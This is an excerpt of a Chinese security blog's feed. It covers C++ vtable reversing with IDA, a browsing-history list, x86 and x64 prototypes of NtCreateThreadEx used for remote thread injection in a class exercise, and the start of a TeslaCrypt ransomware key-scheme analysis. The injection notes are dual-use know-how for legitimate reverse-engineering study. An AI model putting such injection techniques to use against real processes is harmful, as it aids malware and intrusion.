&lt;p&gt;&lt;img src=&quot;https:&#x2F;&#x2F;blog.iret.xyz&#x2F;posts&#x2F;cpp-vfunc-reversing-1&#x2F;.&#x2F;2016-12-15-192953_796x691_scrot.png&quot; alt=&quot;img&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;注意，由于&lt;code&gt;Cat&lt;&#x2F;code&gt;和&lt;code&gt;Dog&lt;&#x2F;code&gt;类都没有实现&lt;code&gt;move&lt;&#x2F;code&gt;方法，因此他们直接采用了&lt;code&gt;Mammal&lt;&#x2F;code&gt;类中的方法，虚表中的项目值也一样。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;jie-gou-ti&quot;&gt;结构体&lt;&#x2F;h2&gt;
&lt;p&gt;为了研究方便，我们定义几个结构体。刚才我们已经看到了&lt;code&gt;Mammal&lt;&#x2F;code&gt;、&lt;code&gt;Cat&lt;&#x2F;code&gt;和&lt;code&gt;Dog&lt;&#x2F;code&gt;类的唯一成员是他们的虚指针，因此做定义如下：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;https:&#x2F;&#x2F;blog.iret.xyz&#x2F;posts&#x2F;cpp-vfunc-reversing-1&#x2F;.&#x2F;2016-12-16-164359_616x303_scrot.png&quot; alt=&quot;img&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;接下来就比较麻烦了：我们需要为每个虚表创建一个结构体。这是为了让反编译器能够更清楚的向我们展示，如果&lt;code&gt;m&lt;&#x2F;code&gt;具有一个特定类型的话，哪个函数应该被调用。这样，我们在阅读代码的时候就可以排除很多干扰了。那么为了达成这个目的，我们需要把结构体中的每个项目命名为对应的函数名：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;https:&#x2F;&#x2F;blog.iret.xyz&#x2F;posts&#x2F;cpp-vfunc-reversing-1&#x2F;.&#x2F;2016-12-16-164830_600x788_scrot.png&quot; alt=&quot;img&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;接下来，把类中虚指针的类型调整为指向对应虚表的指针。比如，&lt;code&gt;Cat&lt;&#x2F;code&gt;类的&lt;code&gt;vptr&lt;&#x2F;code&gt;成员，应该使用&lt;code&gt;CatVtable*&lt;&#x2F;code&gt;类型。此外，我还把虚表中每个项目的类型都改为了函数指针，比如&lt;code&gt;Dog__run&lt;&#x2F;code&gt;的类型是&lt;code&gt;void (*)(Dog*)&lt;&#x2F;code&gt;，这样就更容易识别了。&lt;&#x2F;p&gt;
&lt;p&gt;最后一步是回到原来的代码中，为变量赋予适当的类型：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;https:&#x2F;&#x2F;blog.iret.xyz&#x2F;posts&#x2F;cpp-vfunc-reversing-1&#x2F;.&#x2F;2016-12-16-185921_437x338_scrot2.png&quot; alt=&quot;img&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;上面是把&lt;code&gt;m&lt;&#x2F;code&gt;设定为&lt;code&gt;Cat*&lt;&#x2F;code&gt;或&lt;code&gt;Dog*&lt;&#x2F;code&gt;，可以看到，现在的代码比刚才简洁很多：如果&lt;code&gt;m&lt;&#x2F;code&gt;是&lt;code&gt;Dog&lt;&#x2F;code&gt;类型的话，那么第15行调用的就是&lt;code&gt;Dog__walk&lt;&#x2F;code&gt;，否则是&lt;code&gt;Cat__walk&lt;&#x2F;code&gt;。这个例子很简单，但能够说明我们大致的思路了。&lt;&#x2F;p&gt;
&lt;p&gt;我们也可以把&lt;code&gt;m&lt;&#x2F;code&gt;设置为&lt;code&gt;Mammal*&lt;&#x2F;code&gt;类型，但效果就不太好了：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;https:&#x2F;&#x2F;blog.iret.xyz&#x2F;posts&#x2F;cpp-vfunc-reversing-1&#x2F;.&#x2F;2016-12-16-190425_594x341_scrot.png&quot; alt=&quot;img&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;假设&lt;code&gt;m&lt;&#x2F;code&gt;是&lt;code&gt;Mammal*&lt;&#x2F;code&gt;类型，那么第15行就会调用一个纯虚函数，这是不可能的，此外第17行的调用也会产生问题。因此我们可以推测，&lt;code&gt;m&lt;&#x2F;code&gt;一定不是&lt;code&gt;Mammal*&lt;&#x2F;code&gt;类型。&lt;&#x2F;p&gt;
&lt;p&gt;这种和源代码不符的说法，可能听上去比较奇怪。实际上，这是因为在编译时，我们给&lt;code&gt;m&lt;&#x2F;code&gt;赋予的是一个编译时的类型（静态类型），但我们更关注它的动态类型（或者说是运行时的类型），因为这才是决定哪个虚函数被调用的关键。事实上，一个元素的动态类型，基本永远不可能是一个抽象类。因此如果给出的虚表中，含有一个&lt;code&gt;___cxa_pure_virtual&lt;&#x2F;code&gt;函数，那这个类型可能并不是他的运行时类型，可以无视。实际刚才的例子中我们完全可以不给&lt;code&gt;Mammal&lt;&#x2F;code&gt;类的虚表创建一个结构体，因为这个结构体永远都不会用到。&lt;&#x2F;p&gt;
&lt;p&gt;通过以上的分析，我们知道了，动态类型可能是&lt;code&gt;Cat&lt;&#x2F;code&gt;或者&lt;code&gt;Dog&lt;&#x2F;code&gt;，我们也知道了如何通过查看虚表的项目，来判断哪个函数会被调用，这是C++虚函数逆向的第一步。下一步，我们会介绍如何处理更多、更复杂的二进制程序和继承关系。&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="zh-Hans-cn">
        <title>EOF@2016: My Browser A-Z</title>
        <published>2016-12-28T00:00:00+00:00</published>
        <updated>2016-12-28T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              Unknown
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://blog.iret.xyz/posts/2016-eof-browser-a-to-z/"/>
        <id>https://blog.iret.xyz/posts/2016-eof-browser-a-to-z/</id>
        
        <content type="html" xml:base="https://blog.iret.xyz/posts/2016-eof-browser-a-to-z/">&lt;p&gt;第一次做这种事情，感觉挺有意思的……另外今年重装了一次系统，所以这个记录应该是不完整的&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;A
&lt;ul&gt;
&lt;li&gt;anitama.cn: 很不错的动画评论网站&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;B
&lt;ul&gt;
&lt;li&gt;bilibili.tv: 《真田丸》&lt;&#x2F;li&gt;
&lt;li&gt;bbs.xdsec.club: 内部论坛&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;C
&lt;ul&gt;
&lt;li&gt;ctf.xdsec.club: 几次CTF的域名&lt;&#x2F;li&gt;
&lt;li&gt;content.[???]: 本地的资源索引&lt;&#x2F;li&gt;
&lt;li&gt;cb.drops.wiki: 本地资源打不开的时候……&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;D
&lt;ul&gt;
&lt;li&gt;dilidili.com: 另一个看番的地方&lt;&#x2F;li&gt;
&lt;li&gt;dream.[???].18.xdsec.club: 内网的站点&lt;&#x2F;li&gt;
&lt;li&gt;down.52pojie.cn: 今年虚拟机崩的次数比去年一年都多……&lt;&#x2F;li&gt;
&lt;li&gt;drops.wooyun.org: R.I.P&lt;&#x2F;li&gt;
&lt;li&gt;drops.[???].[???]: &lt;code&gt;make reinstall&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;E
&lt;ul&gt;
&lt;li&gt;evernote.com: 笔记&lt;&#x2F;li&gt;
&lt;li&gt;element14.com: 买了两个树莓派……&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;F
&lt;ul&gt;
&lt;li&gt;freebuf.com: 略&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;G
&lt;ul&gt;
&lt;li&gt;google.com: 还是习惯从网页里搜&lt;&#x2F;li&gt;
&lt;li&gt;gmail.com: 搜邮件&lt;&#x2F;li&gt;
&lt;li&gt;github.com: 搜代码&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;H
&lt;ul&gt;
&lt;li&gt;hctf.io: 又一个比赛的地址&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;I
&lt;ul&gt;
&lt;li&gt;inoreader.com: RSS阅读器&lt;&#x2F;li&gt;
&lt;li&gt;iret.xyz: 本站&lt;&#x2F;li&gt;
&lt;li&gt;ipip.net: 查IP。后来索性把这个功能整合到了终端里。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;J
&lt;ul&gt;
&lt;li&gt;jwxt.[???].edu.cn&#x2F;jwc.[???].edu.cn: 教务处，今年挂科好多啊……&lt;&#x2F;li&gt;
&lt;li&gt;jd.com: 又是买东西啊&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;K
&lt;ul&gt;
&lt;li&gt;keep.google.com: 记事本&lt;&#x2F;li&gt;
&lt;li&gt;kindle.cn: 传文档&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;L
&lt;ul&gt;
&lt;li&gt;luxun.pro: 又是看番的……唉我好能看番啊&lt;&#x2F;li&gt;
&lt;li&gt;l-team.org: 团队网站&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;M
&lt;ul&gt;
&lt;li&gt;mail.live.cn&#x2F;mail.qq.com: 查邮件&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;N
&lt;ul&gt;
&lt;li&gt;nytimes.com: 看看“主流媒体”&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;O
&lt;ul&gt;
&lt;li&gt;onlinedisassembler.com&#x2F;odaweb: 在线的反汇编器&lt;&#x2F;li&gt;
&lt;li&gt;o0xmuhe.me: 大佬的博客&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;P
&lt;ul&gt;
&lt;li&gt;pan.baidu.com: 嘿嘿嘿&lt;&#x2F;li&gt;
&lt;li&gt;pwnhub.com: 新出的，不过还很有趣&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;Q
&lt;ul&gt;
&lt;li&gt;qcloud.com: 腾讯云&lt;&#x2F;li&gt;
&lt;li&gt;quipqiup.com: 偶尔会遇到奇奇怪怪的密码&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;R
&lt;ul&gt;
&lt;li&gt;rs.[???].edu.cn: 校内PT站点&lt;&#x2F;li&gt;
&lt;li&gt;regex101.com: 沉迷正则无法自拔&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;S
&lt;ul&gt;
&lt;li&gt;stumail.[???].edu.cn: 校内邮箱&lt;&#x2F;li&gt;
&lt;li&gt;srv-vm-[???].[???].club: 服务器管理页面&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;T
&lt;ul&gt;
&lt;li&gt;taobao.com: 额……&lt;&#x2F;li&gt;
&lt;li&gt;tower.im: 团队协作工具&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;U
&lt;ul&gt;
&lt;li&gt;没有什么值得一提的&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;V
&lt;ul&gt;
&lt;li&gt;vnet.link: 微林&lt;&#x2F;li&gt;
&lt;li&gt;virustotal.com: 查查样本&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;W
&lt;ul&gt;
&lt;li&gt;weibo.com: 微博&lt;&#x2F;li&gt;
&lt;li&gt;wanfangdata.com.cn: 论文&lt;&#x2F;li&gt;
&lt;li&gt;wolframalpha.com: 算东西&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;X
&lt;ul&gt;
&lt;li&gt;xctf.org.cn: 赛棍的最后挣扎&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;Y
&lt;ul&gt;
&lt;li&gt;youtube.com: 学习英语（只是看视频而已……&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;Z
&lt;ul&gt;
&lt;li&gt;zhihu.com: 吱乎&lt;&#x2F;li&gt;
&lt;li&gt;zone.drops.wiki: R.I.P.&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
</content>
        
    </entry>
    <entry xml:lang="zh-Hans-cn">
        <title>NtCreateThreadEx under x64</title>
        <published>2016-12-11T00:00:00+00:00</published>
        <updated>2016-12-11T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              Unknown
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://blog.iret.xyz/posts/deal-with-x64-createthreadex/"/>
        <id>https://blog.iret.xyz/posts/deal-with-x64-createthreadex/</id>
        
        <content type="html" xml:base="https://blog.iret.xyz/posts/deal-with-x64-createthreadex/">&lt;p&gt;近日忙于大作业，顺手写了下逆向的上机作业，然后发现在Win10 x64下用&lt;code&gt;NtCreateThreadEx&lt;&#x2F;code&gt;怎么也注入不进去，&lt;code&gt;GetLastError&lt;&#x2F;code&gt;没有返回值，函数的返回值是“参数不正确”。索性试着逆向一下ntdll，然后发现，这个函数在x64和x86下的原型应该是不同的：&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #BFBDB6; background-color: #0D1017;&quot;&gt;&lt;code data-lang=&quot;c&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #5A6673;font-style: italic;&quot;&gt;&#x2F;&#x2F; NtCreateThreadEx - x32 &lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;typedef&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFB454;&quot;&gt; DWORD&lt;&#x2F;span&gt;&lt;span&gt;(NTAPI &lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;*&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;fNtCreateThreadEx&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt; PHANDLE                 ThreadHandle&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt; ACCESS_MASK             DesiredAccess&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt; LPVOID                  ObjectAttributes&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt; HANDLE                  ProcessHandle&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt; LPTHREAD_START_ROUTINE  lpStartAddress&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt; LPVOID                  lpParameter&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt; BOOL                    CreateSuspended&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt; DWORD                   dwStackSize&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt; DWORD                   Arg8&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt; DWORD                   Arg9&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt; LPVOID                  Arg10&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #5A6673;font-style: italic;&quot;&gt;&#x2F;&#x2F; NtCreateThreadEx - x64 &lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;typedef&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFB454;&quot;&gt; DWORD64&lt;&#x2F;span&gt;&lt;span&gt;(NTAPI &lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;*&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;fNtCreateThreadEx&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt; PHANDLE                 ThreadHandle&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt; ACCESS_MASK             DesiredAccess&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt; LPVOID                  ObjectAttributes&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt; HANDLE                  ProcessHandle&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt; LPTHREAD_START_ROUTINE  lpStartAddress&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt; LPVOID                  lpParameter&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt; BOOL                    CreateSuspended&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt; DWORD64     dwStackSize&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt; DWORD64     Arg8&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt; DWORD64     Arg9&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt; LPVOID                  Arg10&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;上网搜了一下才发现&lt;a rel=&quot;external&quot; href=&quot;http:&#x2F;&#x2F;raspiweb.ch&#x2F;post-140.htm&quot;&gt;有人已经给出来&lt;&#x2F;a&gt;了，有一点点尴尬。&lt;&#x2F;p&gt;
&lt;p&gt;实际其他的都差不多，主要是后几个参数的类型不一样。不过不知道怎么回事，对iexplore.exe的几个子进程还是注不进去，八成和令牌有关系？有时间再试试吧。&lt;&#x2F;p&gt;
&lt;p&gt;唉，好久没碰Windows，差点连OD都要不会用了……&lt;&#x2F;p&gt;
&lt;p&gt;&#x2F;&#x2F;对，这就是一篇水文……&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="zh-Hans-cn">
        <title>又一条碎碎念</title>
        <published>2016-09-24T00:00:00+00:00</published>
        <updated>2016-09-24T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              Unknown
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://blog.iret.xyz/posts/201609-status/"/>
        <id>https://blog.iret.xyz/posts/201609-status/</id>
        
        <content type="html" xml:base="https://blog.iret.xyz/posts/201609-status/">&lt;p&gt;各位好，我还活着，还没有被各种琐事压垮。&lt;&#x2F;p&gt;
&lt;p&gt;近期更(wa)新(keng)计划：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;10月底：ptmalloc代码再分析，修正之前文章里错误和过时的观点&lt;&#x2F;li&gt;
&lt;li&gt;11月中旬起：初探符号执行&lt;&#x2F;li&gt;
&lt;li&gt;12月上旬：总结一下打过的CTF中，Pwn上常见的题型和技巧&lt;&#x2F;li&gt;
&lt;li&gt;12月下旬：近期可能有的几场比赛中，Re的出题&amp;amp;做题思路&lt;&#x2F;li&gt;
&lt;li&gt;17年初：年度总结&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;催促我填坑吧……&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;热闹是你们的，我什么都没有。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
</content>
        
    </entry>
    <entry xml:lang="zh-Hans-cn">
        <title>旧文重发：小窥TeslaCrypt密钥设计</title>
        <published>2016-08-29T00:00:00+00:00</published>
        <updated>2016-08-29T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              Unknown
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://blog.iret.xyz/posts/tesla-crypt-key-framework/"/>
        <id>https://blog.iret.xyz/posts/tesla-crypt-key-framework/</id>
        
        <content type="html" xml:base="https://blog.iret.xyz/posts/tesla-crypt-key-framework/">&lt;blockquote&gt;
&lt;p&gt;按：最近在研究一点东西，没时间发博客。听说Drops暂时关掉了，为这个优秀的内容分享平台而遗憾。今天想起来自己在Drops上还水过一篇文章，当时动机不纯，就是想赚点WB去社区Zone看看。现在回头看这篇文章，质量还是不太好。在这里再发一次，一算是给博客凑一篇文章，再来也算是提醒自己有个网站叫Wooyun。&lt;&#x2F;p&gt;
&lt;p&gt;没来由的想起，八、九十年代的时候，SVCD和CVD之争中，一个比较有趣的争论是“先驱”是否会称为“先烈”。我想Wooyun是先驱，更是先烈。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;最近群里提到TeslaCrypt的作者放出了主密钥，简单看了下，对他的加密流程比较感兴趣。受条件限制，没有拿到早期样本（只拿到了晚一些的），放狗搜了搜也没找到，但是找到了两款解密程序。一款是Googulator开发的TeslaCrack，另外一款则是BloodDolly开发的TeslaDecoder。前者虽然开源，但支持解密的版本少于后者。本文通过分析及逆向样本和这两款工具，试图了解TeslaCrypt的设计思路。&lt;&#x2F;p&gt;
&lt;p&gt;下文中所有图片如无特殊说明，均为对BloodDolly开发的TeslaDecoder（简称“TD”）的逆向过程截图。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;jia-mi-liu-cheng-jian-shu&quot;&gt;加密流程简述&lt;&#x2F;h2&gt;
&lt;p&gt;TeslaCrypt（以及AlphaCrypt，下文统称为“TC”）算是比较“成熟”的勒索软件，其版本从0.2逐步升级到目前已知的最高版本4.0+（也不知道有没有Insider Preview）。随着版本的升级，其加密和密钥处理技巧也在不断升级。&lt;&#x2F;p&gt;
&lt;p&gt;勒索软件的制作者为了打到目的，通常会给用户一个比特币钱包的地址。用户向该钱包付款之后，可以得到一个解密密钥，用此密钥即可解密。有报告指出，不同的受害者需要向不同的钱包中打款，这暗示着比特币钱包的生成过程可能与加密密钥的产生存在一定关联。因此，先大致了解下钱包是如何生成的。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;https:&#x2F;&#x2F;blog.iret.xyz&#x2F;posts&#x2F;tesla-crypt-key-framework&#x2F;.&#x2F;PubKeyToAddr.png&quot; alt=&quot;How to generate a btc addr?&quot; title=&quot;How to waste your brain and understand all of it?&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;比特币钱包生成的基本步骤是：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;初始化一对可用于ECDSA签名的密钥Public&#x2F;PrivateBtcKey&lt;&#x2F;li&gt;
&lt;li&gt;用SHA256对PublicBtcKey做蛤希，得到S256_PublicBtcKey&lt;&#x2F;li&gt;
&lt;li&gt;用RIPEMD-160对上一个结果做哈希，然后在哈希前部加入版本号得到VR160_S256_PublicBtcKey&lt;&#x2F;li&gt;
&lt;li&gt;在上一哈希前部加入版本号，并做两次哈希，将结果的前4字节附加在VR160_S256_PublicBtcKey后，最后使用Base58算法编码。这时得到的就是长33个字符的钱包地址。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;如果想知道关于椭圆曲线算法的更多细节，有&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;www.certicom.com&#x2F;index.php&#x2F;ecc-tutorial&quot;&gt;一篇文章&lt;&#x2F;a&gt;比较适合参考阅读。此外，TC还采用了ECDHE算法进行密钥交换，只是将DH里的非对称加密机制换成了椭圆曲线算法，其他变化不大，可以参考&lt;a rel=&quot;external&quot; href=&quot;http:&#x2F;&#x2F;thecodeway.com&#x2F;blog&#x2F;?p=964&quot;&gt;这里&lt;&#x2F;a&gt;获得更多细节。&lt;&#x2F;p&gt;
&lt;p&gt;TC被首次载入时，就生成了一对PublicBtcKey&#x2F;PrivateBtcKey。其中，PublicBtcKey就是向用户显示的地址，而PrivateBtcKey则被发送给C&amp;amp;C服务器，以进行之后的转账操作。不同版本的TC，这一点是不变的。&lt;&#x2F;p&gt;
&lt;p&gt;TC作者本次公布的密钥是四号密钥，应用于TC3.0以及TC4.0版本。这两个版本都采用了比较完整的分层密钥机制，并且提高了样本隐蔽性。TC4.0的准备过程如下：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;准备随机数生成器等；&lt;&#x2F;li&gt;
&lt;li&gt;生成随机数，并用714号曲线（即secp256k1）建立比特币钱包，对应密钥Public_BtcKey和Private_BtcKey；&lt;&#x2F;li&gt;
&lt;li&gt;对Private_BtcKey做SHA-256哈希，得到Private_HashedPRBK，用Public_BtcKey算出钱包地址，一会展示给客户；&lt;&#x2F;li&gt;
&lt;li&gt;用Private_HashedPRBK带入曲线，得到第二对密钥Public_HashedPRBK；&lt;&#x2F;li&gt;
&lt;li&gt;此外，TC的作者还拥有一对密钥Public&#x2F;Private_MalMaster。这对密钥里，Public_MalMaster是由TC作者置入程序的，而Private_MalMaster则是本次被作者公布的“主密钥”，难以被运算出来；&lt;&#x2F;li&gt;
&lt;li&gt;再生成用于加密传输数据的第三对密钥Public&#x2F;Private_Master；&lt;&#x2F;li&gt;
